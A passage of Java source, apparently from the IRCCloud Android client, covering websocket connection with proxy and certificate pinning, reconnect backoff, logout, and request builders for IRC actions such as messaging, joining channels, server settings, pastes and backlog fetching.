0, len);\n }\n String response = os.toString(\"UTF-8\");\n is.close();\n\n result = new JSONObject(response);\n }\n }\n\n private class ConnectCallback implements ConfigCallback {\n int limit;\n\n public ConnectCallback(int limit) {\n this.limit = limit;\n }\n\n @Override\n public void onConfig(JSONObject config) {\n try {\n if (config != null) {\n String host = null;\n int port = -1;\n host = System.getProperty(\"http.proxyHost\", null);\n try {\n port = Integer.parseInt(System.getProperty(\"http.proxyPort\", \"8080\"));\n } catch (NumberFormatException e) {\n port = -1;\n }\n\n if (!wifiLock.isHeld())\n wifiLock.acquire();\n\n Map<String, String> extraHeaders = new HashMap<>();\n extraHeaders.put(\"User-Agent\", useragent);\n\n String url = \"wss://\" + config.getString(\"socket_host\") + IRCCLOUD_PATH;\n if (highest_eid > 0 && streamId != null && streamId.length() > 0) {\n url += \"?exclude_archives=1&since_id=\" + highest_eid + \"&stream_id=\" + streamId;\n if (notifier)\n url += \"&notifier=1\";\n url += \"&limit=\" + limit;\n } else if (notifier) {\n url += \"?exclude_archives=1&notifier=1&limit=\" + limit;\n } else {\n url += \"?exclude_archives=1&limit=\" + limit;\n }\n\n if (host != null && host.length() > 0 && !host.equalsIgnoreCase(\"localhost\") && !host.equalsIgnoreCase(\"127.0.0.1\") && port > 0) {\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Connecting via proxy: \" + host);\n }\n\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Attempt: \" + failCount);\n\n if (client != null) {\n client.setListener(null);\n client.disconnect();\n }\n\n TrustManager[] trustManagers = new TrustManager[1];\n trustManagers[0] = TrustKit.getInstance().getTrustManager(config.getString(\"socket_host\"));\n WebSocketClient.setTrustManagers(trustManagers);\n HttpMetric m = null;\n\n try {\n m = FirebasePerformance.getInstance().newHttpMetric(url.replace(\"wss://\", \"https://\"), FirebasePerformance.HttpMethod.GET);\n m.start();\n } catch (Exception e) {\n\n }\n\n final HttpMetric metric = m;\n client = new WebSocketClient(URI.create(url), new WebSocketClient.Listener() {\n @Override\n public void onConnect() {\n if (client != null && client.getListener() == this) {\n IRCCloudLog.Log(Log.DEBUG, TAG, \"WebSocket connected\");\n if (metric != null) {\n metric.setHttpResponseCode(200);\n metric.stop();\n }\n try {\n JSONObject o = new JSONObject();\n o.put(\"cookie\", session);\n send(\"auth\", o, null);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n }\n\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Emptying cache\");\n if (saveTimerTask != null)\n saveTimerTask.cancel();\n saveTimerTask = null;\n final SharedPreferences.Editor editor = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).edit();\n editor.remove(\"streamId\");\n editor.remove(\"highest_eid\");\n editor.apply();\n //Delete.tables(Server.class, Buffer.class, Channel.class);\n notifyHandlers(EVENT_CONNECTIVITY, null);\n if (disconnectSockerTimerTask != null)\n disconnectSockerTimerTask.cancel();\n if (notifier) {\n disconnectSockerTimerTask = new TimerTask() {\n @Override\n public void run() {\n disconnectSockerTimerTask = null;\n if (notifier) {\n Log.d(\"IRCCloud\", \"Notifier socket expired\");\n disconnect();\n }\n }\n };\n idleTimer.schedule(disconnectSockerTimerTask, 600000);\n }\n } else {\n IRCCloudLog.Log(Log.WARN, \"IRCCloud\", \"Got websocket onConnect for inactive websocket\");\n }\n }\n\n @Override\n public void onMessage(String message) {\n if (client != null && client.getListener() == this && message.length() > 0) {\n try {\n synchronized (parserLock) {\n parse_object(new IRCCloudJSONObject(mapper.readValue(message, JsonNode.class)), false);\n }\n } catch (Exception e) {\n Log.e(TAG, \"Unable to parse: \" + message);\n IRCCloudLog.LogException(e);\n printStackTraceToCrashlytics(e);\n }\n }\n }\n\n @Override\n public void onMessage(byte[] data) {\n //Log.d(TAG, String.format(\"Got binary message! %s\", toHexString(data));\n }\n\n private void closed() {\n try {\n if (wifiLock.isHeld())\n wifiLock.release();\n } catch (RuntimeException e) {\n\n }\n\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Clearing OOB tasks\");\n synchronized (oobTasks) {\n for (Integer bid : oobTasks.keySet()) {\n try {\n oobTasks.get(bid).cancel();\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n }\n oobTasks.clear();\n }\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Clear\");\n\n if (highest_eid <= 0)\n streamId = null;\n\n ConnectivityManager cm = (ConnectivityManager) IRCCloudApplication.getInstance().getApplicationContext().getSystemService(Context.CONNECTIVITY_SERVICE);\n NetworkInfo ni = cm.getActiveNetworkInfo();\n if (state == STATE_DISCONNECTING || ni == null || !ni.isConnected()) {\n cancel_idle_timer();\n state = STATE_DISCONNECTED;\n } else {\n fail();\n }\n }\n\n @Override\n public void onDisconnect(int code, String reason) {\n if (client != null && client.getListener() == this) {\n IRCCloudLog.Log(Log.DEBUG, TAG, \"WebSocket disconnected: \" + code + \" \" + reason);\n closed();\n } else {\n IRCCloudLog.Log(Log.WARN, \"IRCCloud\", \"Got websocket onDisconnect for inactive websocket\");\n }\n }\n\n @Override\n public void onError(Exception error) {\n if (client != null && client.getListener() == this) {\n IRCCloudLog.Log(Log.ERROR, TAG, \"The WebSocket encountered an error: \" + error.toString());\n closed();\n } else {\n IRCCloudLog.Log(Log.WARN, \"IRCCloud\", \"Got websocket onError for inactive websocket\");\n }\n }\n }, extraHeaders);\n\n if (client != null) {\n client.setDebugListener(new WebSocketClient.DebugListener() {\n @Override\n public void onDebugMsg(String msg) {\n IRCCloudLog.Log(Log.DEBUG, \"IRCCloud\", msg);\n }\n });\n if (host != null && host.length() > 0 && !host.equalsIgnoreCase(\"localhost\") && !host.equalsIgnoreCase(\"127.0.0.1\") && port > 0)\n client.setProxy(host, port);\n else\n client.setProxy(null, -1);\n client.connect();\n }\n } else {\n IRCCloudLog.Log(Log.ERROR, TAG, \"Unable to fetch configuration\");\n fail();\n }\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n fail();\n }\n }\n }\n\n private void fail() {\n failCount++;\n if (failCount < 4)\n idle_interval = failCount * 1000;\n else if (failCount < 10)\n idle_interval = 10000;\n else\n idle_interval = 30000;\n schedule_idle_timer();\n IRCCloudLog.Log(Log.DEBUG, TAG, \"Reconnecting in \" + idle_interval / 1000 + \" seconds\");\n state = STATE_DISCONNECTED;\n notifyHandlers(EVENT_CONNECTIVITY, null);\n }\n\n public void logout() {\n streamId = null;\n disconnect();\n try {\n if(IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).getString(\"gcm_id\", \"\").length() > 0) {\n BackgroundTaskWorker.unregisterGCM();\n }\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n ready = false;\n accrued = 0;\n highest_eid = -1;\n SharedPreferences.Editor prefs = PreferenceManager.getDefaultSharedPreferences(IRCCloudApplication.getInstance().getApplicationContext()).edit();\n prefs.remove(\"uid\");\n prefs.remove(\"name\");\n prefs.remove(\"email\");\n prefs.remove(\"highlights\");\n prefs.remove(\"theme\");\n prefs.remove(\"monospace\");\n prefs.apply();\n SharedPreferences.Editor editor = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).edit();\n editor.clear();\n editor.apply();\n mServers.clear();\n mBuffers.clear();\n mChannels.clear();\n mUsers.clear();\n mEvents.clear();\n pendingEdits.clear();\n NotificationsList.getInstance().clear();\n NotificationsList.getInstance().pruneNotificationChannels();\n userInfo = null;\n session = null;\n ImageList.getInstance().purge();\n AvatarsList.getInstance().clear();\n mRecentConversations.clear();\n LogExportsList.getInstance().clear();\n FirebaseAnalytics.getInstance(IRCCloudApplication.getInstance().getApplicationContext()).resetAnalyticsData();\n IRCCloudLog.clear();\n if(!BuildConfig.ENTERPRISE)\n IRCCLOUD_HOST = BuildConfig.HOST;\n save(100);\n }\n\n public void clearOfflineCache() {\n SharedPreferences.Editor editor = IRCCloudApplication.getInstance().getApplicationContext().getSharedPreferences(\"prefs\", 0).edit();\n editor.remove(\"userinfo\");\n editor.remove(\"highest_eid\");\n editor.remove(\"streamId\");\n editor.apply();\n highest_eid = -1;\n streamId = null;\n disconnect();\n mServers.clear();\n mBuffers.clear();\n mChannels.clear();\n mUsers.clear();\n mEvents.clear();\n pendingEdits.clear();\n connect();\n }\n\n private int send(String method, JSONObject params, IRCResultCallback callback) {\n if (client == null || (state != STATE_CONNECTED && !method.equals(\"auth\")) || BuildConfig.MOCK_DATA)\n return -1;\n synchronized (resultCallbacks) {\n try {\n params.put(\"_reqid\", ++last_reqid);\n if (callback != null)\n resultCallbacks.put(last_reqid, callback);\n params.put(\"_method\", method);\n //Log.d(TAG, \"Reqid: \" + last_reqid + \" Method: \" + method + \" Params: \" + params.toString());\n client.send(params.toString());\n return last_reqid;\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n }\n\n public int heartbeat(int cid, int bid, long last_seen_eid, IRCResultCallback callback) {\n return heartbeat(bid, new Integer[]{cid}, new Integer[]{bid}, new Long[]{last_seen_eid}, callback);\n }\n\n public int heartbeat(int selectedBuffer, Integer cids[], Integer bids[], Long last_seen_eids[], IRCResultCallback callback) {\n try {\n JSONObject heartbeat = new JSONObject();\n for (int i = 0; i < cids.length; i++) {\n JSONObject o;\n if (heartbeat.has(String.valueOf(cids[i]))) {\n o = heartbeat.getJSONObject(String.valueOf(cids[i]));\n } else {\n o = new JSONObject();\n heartbeat.put(String.valueOf(cids[i]), o);\n }\n o.put(String.valueOf(bids[i]), last_seen_eids[i]);\n }\n\n JSONObject o = new JSONObject();\n o.put(\"selectedBuffer\", selectedBuffer);\n o.put(\"seenEids\", heartbeat.toString());\n return send(\"heartbeat\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int disconnect(int cid, String message, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"msg\", message);\n return send(\"disconnect\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int reconnect(int cid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n int reqid = send(\"reconnect\", o, callback);\n if(reqid > 0) {\n Server s = mServers.getServer(cid);\n if(s != null) {\n s.setStatus(\"queued\");\n notifyHandlers(EVENT_CONNECTIONLAG, new IRCCloudJSONObject(o));\n }\n }\n return reqid;\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int say(int cid, String to, String message, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n if (to != null)\n o.put(\"to\", to);\n else\n o.put(\"to\", \"*\");\n o.put(\"msg\", message);\n return send(\"say\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int reply(int cid, String to, String message, String msgid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"to\", to);\n o.put(\"reply\", message);\n o.put(\"msgid\", msgid);\n return send(\"reply\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int edit_message(int cid, String to, String message, String msgid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"to\", to);\n o.put(\"edit\", message);\n o.put(\"msgid\", msgid);\n return send(\"edit-message\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int delete_message(int cid, String to, String msgid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"to\", to);\n o.put(\"msgid\", msgid);\n return send(\"delete-message\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public JSONObject postSay(int cid, String to, String message, String sk) throws IOException {\n if(to == null)\n to = \"*\";\n String postdata = \"cid=\" + cid + \"&to=\" + URLEncoder.encode(to, \"UTF-8\") + \"&msg=\" + URLEncoder.encode(message, \"UTF-8\") + \"&session=\" + sk;\n try {\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/say\"), postdata, sk, null, null);\n return new JSONObject(response);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n public JSONObject postHeartbeat(int cid, int bid, long last_seen_eid, String sk) {\n return postHeartbeat(bid, new Integer[]{cid}, new Integer[]{bid}, new Long[]{last_seen_eid}, sk);\n }\n\n public JSONObject postHeartbeat(int selectedBuffer, Integer cids[], Integer bids[], Long last_seen_eids[], String sk) {\n try {\n JSONObject heartbeat = new JSONObject();\n for (int i = 0; i < cids.length; i++) {\n JSONObject o;\n if (heartbeat.has(String.valueOf(cids[i]))) {\n o = heartbeat.getJSONObject(String.valueOf(cids[i]));\n } else {\n o = new JSONObject();\n heartbeat.put(String.valueOf(cids[i]), o);\n }\n o.put(String.valueOf(bids[i]), last_seen_eids[i]);\n }\n\n String postdata = \"selectedBuffer=\" + selectedBuffer + \"&seenEids=\" + URLEncoder.encode(heartbeat.toString(), \"UTF-8\") + \"&session=\" + sk;\n String response = fetch(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/heartbeat\"), postdata, sk, null, null);\n return new JSONObject(response);\n } catch (Exception e) {\n printStackTraceToCrashlytics(e);\n }\n return null;\n }\n\n\n public int join(int cid, String channel, String key, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"channel\", channel);\n o.put(\"key\", key);\n return send(\"join\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int part(int cid, String channel, String message, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"channel\", channel);\n o.put(\"msg\", message);\n return send(\"part\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int kick(int cid, String channel, String nick, String message, IRCResultCallback callback) {\n return say(cid, channel, \"/kick \" + nick + \" \" + message, callback);\n }\n\n public int mode(int cid, String channel, String mode, IRCResultCallback callback) {\n return say(cid, channel, \"/mode \" + channel + \" \" + mode, callback);\n }\n\n public int invite(int cid, String channel, String nick, IRCResultCallback callback) {\n return say(cid, channel, \"/invite \" + nick + \" \" + channel, callback);\n }\n\n public int archiveBuffer(int cid, long bid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"id\", bid);\n return send(\"archive-buffer\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int unarchiveBuffer(int cid, long bid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"id\", bid);\n return send(\"unarchive-buffer\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int renameChannel(String name, int cid, long bid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"id\", bid);\n o.put(\"name\", name);\n return send(\"rename-channel\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int renameConversation(String name, int cid, long bid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"id\", bid);\n o.put(\"name\", name);\n return send(\"rename-conversation\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int deleteBuffer(int cid, long bid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"id\", bid);\n return send(\"delete-buffer\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int deleteServer(int cid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n return send(\"delete-connection\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int deleteFile(String id, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"file\", id);\n return send(\"delete-file\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int restoreFile(String id, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"file\", id);\n return send(\"restore-file\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int addServer(String hostname, int port, int ssl, String netname, String nickname, String realname, String server_pass, String nickserv_pass, String joincommands, String channels, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"hostname\", hostname);\n o.put(\"port\", port);\n o.put(\"ssl\", String.valueOf(ssl));\n if (netname != null)\n o.put(\"netname\", netname);\n o.put(\"nickname\", nickname);\n o.put(\"realname\", realname);\n o.put(\"server_pass\", server_pass);\n o.put(\"nspass\", nickserv_pass);\n o.put(\"joincommands\", joincommands);\n o.put(\"channels\", channels);\n return send(\"add-server\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int editServer(int cid, String hostname, int port, int ssl, String netname, String nickname, String realname, String server_pass, String nickserv_pass, String joincommands, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"hostname\", hostname);\n o.put(\"port\", port);\n o.put(\"ssl\", String.valueOf(ssl));\n if (netname != null)\n o.put(\"netname\", netname);\n o.put(\"nickname\", nickname);\n o.put(\"realname\", realname);\n o.put(\"server_pass\", server_pass);\n o.put(\"nspass\", nickserv_pass);\n o.put(\"joincommands\", joincommands);\n o.put(\"cid\", cid);\n return send(\"edit-server\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int ignore(int cid, String mask, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"mask\", mask);\n return send(\"ignore\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int unignore(int cid, String mask, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"mask\", mask);\n return send(\"unignore\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int set_prefs(String prefs, IRCResultCallback callback) {\n try {\n Log.i(\"IRCCloud\", \"Setting prefs: \" + prefs);\n JSONObject o = new JSONObject();\n o.put(\"prefs\", prefs);\n if(BuildConfig.MOCK_DATA) {\n if(userInfo == null)\n userInfo = new UserInfo();\n userInfo.prefs = new JSONObject(prefs);\n notifyHandlers(EVENT_USERINFO, userInfo);\n }\n return send(\"set-prefs\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int set_user_settings(String realname, String hwords, boolean autoaway, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"realname\", realname);\n o.put(\"hwords\", hwords);\n o.put(\"autoaway\", autoaway ? \"1\" : \"0\");\n return send(\"user-settings\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int change_password(String email, String oldPassword, String newPassword, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n if(email != null)\n o.put(\"email\", email);\n o.put(\"password\", oldPassword);\n if(newPassword != null)\n o.put(\"newpassword\", newPassword);\n return send(\"change-password\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int delete_account(String password, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"password\", password);\n return send(\"delete-account\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int ns_help_register(int cid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n return send(\"ns-help-register\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int set_nspass(int cid, String nspass, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"nspass\", nspass);\n return send(\"set-nspass\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int whois(int cid, String nick, String server, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"nick\", nick);\n if (server != null)\n o.put(\"server\", server);\n return send(\"whois\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int topic(int cid, String channel, String topic, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"channel\", channel);\n o.put(\"topic\", topic);\n return send(\"topic\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int back(int cid, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n return send(\"back\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int reorder_connections(String cids, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cids\", cids);\n return send(\"reorder-connections\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int resend_verify_email(IRCResultCallback callback) {\n JSONObject o = new JSONObject();\n return send(\"resend-verify-email\", o, callback);\n }\n\n public int finalize_upload(String id, String filename, String original_filename, boolean avatar, int cid, int orgId, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"id\", id);\n o.put(\"filename\", filename);\n o.put(\"original_filename\", original_filename);\n if(avatar) {\n o.put(\"type\", \"avatar\");\n if(orgId == -1) {\n o.put(\"primary\", \"1\");\n } else if(orgId == 0) {\n o.put(\"cid\", cid);\n } else {\n o.put(\"org\", orgId);\n }\n }\n return send(\"upload-finalise\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int paste(String name, String extension, String contents, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n if(name != null && name.length() > 0)\n o.put(\"name\", name);\n o.put(\"contents\", contents);\n o.put(\"extension\", extension);\n return send(\"paste\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int edit_paste(String id, String name, String extension, String contents, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"id\", id);\n if(name != null && name.length() > 0)\n o.put(\"name\", name);\n o.put(\"body\", contents);\n o.put(\"extension\", extension);\n return send(\"edit-pastebin\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int delete_paste(String id, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"id\", id);\n return send(\"delete-pastebin\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int export_log(int cid, int bid, String timezone, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n if(cid > 0)\n o.put(\"cid\", cid);\n if(bid > 0)\n o.put(\"bid\", bid);\n o.put(\"timezone\", timezone);\n return send(\"export-log\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int set_avatar(int cid, int orgId, String avatar_id, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n if(avatar_id != null)\n o.put(\"id\", avatar_id);\n else\n o.put(\"clear\", \"1\");\n\n if(orgId == 0)\n o.put(\"cid\", cid);\n else if(orgId != -1)\n o.put(\"org\", orgId);\n else\n o.put(\"primary\", \"1\");\n return send(\"set-avatar\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public int set_netname(int cid, String name, IRCResultCallback callback) {\n try {\n JSONObject o = new JSONObject();\n o.put(\"cid\", cid);\n o.put(\"netname\", name);\n return send(\"set-netname\", o, callback);\n } catch (JSONException e) {\n printStackTraceToCrashlytics(e);\n return -1;\n }\n }\n\n public void request_backlog(int cid, int bid, long beforeId) {\n try {\n synchronized (oobTasks) {\n if (oobTasks.containsKey(bid)) {\n IRCCloudLog.Log(Log.WARN, TAG, \"Ignoring duplicate backlog request for BID: \" + bid);\n return;\n }\n }\n if (session == null || session.length() == 0) {\n IRCCloudLog.Log(Log.WARN, TAG, \"Not fetching backlog before session is set\");\n return;\n }\n if (Looper.myLooper() == null)\n Looper.prepare();\n\n OOBFetcher task;\n if (beforeId > 0)\n task = new OOBFetcher(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/backlog?cid=\" + cid + \"&bid=\" + bid + \"&beforeid=\" + beforeId), bid);\n else\n task = new OOBFetcher(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/backlog?cid=\" + cid + \"&bid=\" + bid), bid);\n synchronized (oobTasks) {\n oobTasks.put(bid, task);\n if(oobTasks.size() == 1)\n task.connect();\n }\n } catch (MalformedURLException e) {\n printStackTraceToCrashlytics(e);\n }\n }\n\n public void request_archives(int cid) {\n try {\n synchronized (oobTasks) {\n if (oobTasks.containsKey(cid)) {\n IRCCloudLog.Log(Log.WARN, TAG, \"Ignoring duplicate archives request for CID: \" + cid);\n return;\n }\n }\n if (session == null || session.length() == 0) {\n IRCCloudLog.Log(Log.WARN, TAG, \"Not fetching archives before session is set\");\n return;\n }\n\n OOBFetcher task = new OOBFetcher(new URL(\"https://\" + IRCCLOUD_HOST + \"/chat/archives?cid=\" + cid), cid);\n synchronized (oobTasks) {\n oobTasks.put(cid, task);\n if(oobTasks.size() == 1)\n task.connect();\n }\n } catch (MalformedURLException e) {\n printStackTraceToCrashlytics(e);\n }\n }\n\n public void request_mock_data() {\n try {\n OOBFetcher task = new OOBFetcher(new URL(\"https://www.irccloud.com/test/bufferview.json\"), -1);\n synchronized (oobTasks) {\n oobTasks.put(-1, task);\n if(oobTasks.size() == 1)\n task.connect();\n }\n } catch (MalformedURLException e) {\n printStackTraceToCrashlytics(e);\n }\n }\n\n public void upgrade() {\n if (disconnectSockerTimerTask != null)\n disconnectSockerTimerTask.cancel();\n notifier = false;\n send(\"upgrade_notifier\", new JSONObject(), null);\n }\n\n public void cancel_idle_timer() {\n if (idleTimerTask != null)\n idleTimerTask.cancel();\n reconnect_timestamp = 0;\n }\n\n public void schedule_idle_timer() {\n if (idleTimerTask != null)\n idleTimerTask.cancel();\n if (idle_interval <= 0 || BuildConfig.MOCK_DATA)\n return;\n\n try {\n idleTimerTask = new TimerTask() {\n public void run() {\n if (handlers.size() > 0) {\n IRCCloudLog.Log(Log.INFO, TAG, \"Websocket idle time exceeded, reconnecting...\");\n state = STATE_DISCONNECTING;\n notifyHandlers(EVENT_CONNECTIVITY, null);\n if (client != null)\n client.disconnect();\n connect();\n }\n reconnect_timestamp = 0;\n }\n };\n idleTimer.schedule(idleTimerTask, idle_interval);\n reconnect_timestamp = System.currentTimeMillis() + idle_interval;\n } catch (IllegalStateException e) {\n //It's possible for timer to get canceled by another thread before before it gets scheduled\n //so catch the exception\n }\n }\n\n public long getReconnectTimestamp() {\n return reconnect_timestamp;\n }\n\n public interface Parser {\n void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException;\n }\n\n private class BroadcastParser implements Parser {\n int type;\n\n BroadcastParser(int t) {\n type = t;\n }\n\n public void parse(IRCCloudJSONObject object, boolean backlog) {\n if (!backlog)\n notifyHandlers(type, object);\n }\n }\n\n public HashMap<String, Parser> parserMap = new HashMap<String, Parser>() {{\n //Ignored events\n put(\"idle\", null);\n put(\"end_of_backlog\", null);\n put(\"user_account\", null);\n put(\"twitch_hosttarget_start\", null);\n put(\"twitch_hosttarget_stop\", null);\n put(\"twitch_usernotice\", null);\n\n put(\"header\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n if (!(object.has(\"resumed\") && object.getBoolean(\"resumed\"))) {\n Log.d(\"IRCCloud\", \"Socket was not resumed\");\n NotificationsList.getInstance().clearLastSeenEIDs();\n mEvents.clear();\n pendingEdits.clear();\n if(streamId != null) {\n IRCCloudLog.Log(Log.WARN, \"IRCCloud\", \"Unable to resume socket, requesting full OOB load\");\n highest_eid = 0;\n streamId = null;\n failCount = 0;\n ready = false;\n if (client != null)\n client.disconnect();\n return;\n }\n }\n idle_interval = object.getLong(\"idle_interval\") + 15000;\n clockOffset = object.getLong(\"time\") - (System.currentTimeMillis() / 1000);\n currentcount = 0;\n currentBid = -1;\n firstEid = -1;\n streamId = object.getString(\"streamid\");\n if (object.has(\"accrued\"))\n accrued = object.getInt(\"accrued\");\n state = STATE_CONNECTED;\n ImageList.getInstance().clear();\n ImageList.getInstance().clearFailures();\n notifyHandlers(EVENT_CONNECTIVITY, null);\n }\n });\n\n put(\"global_system_message\", new Parser() {\n @Override\n public void parse(IRCCloudJSONObject object, boolean backlog) throws JSONException {\n String msgType = object.getString(\"system_message_type\");\n if (msgType == null || (!msgType.equalsIgnoreCase(\"eval\") && !msgType.equalsIgnoreCase(\"refresh\"))) {\n globalMsg = object.getString(\"msg\");\n notifyHandlers(EVENT_GLOBALMSG, object);\n }\n }\n });\n\n put(\"num_invites\", new Parser() {\n @Override\n public void 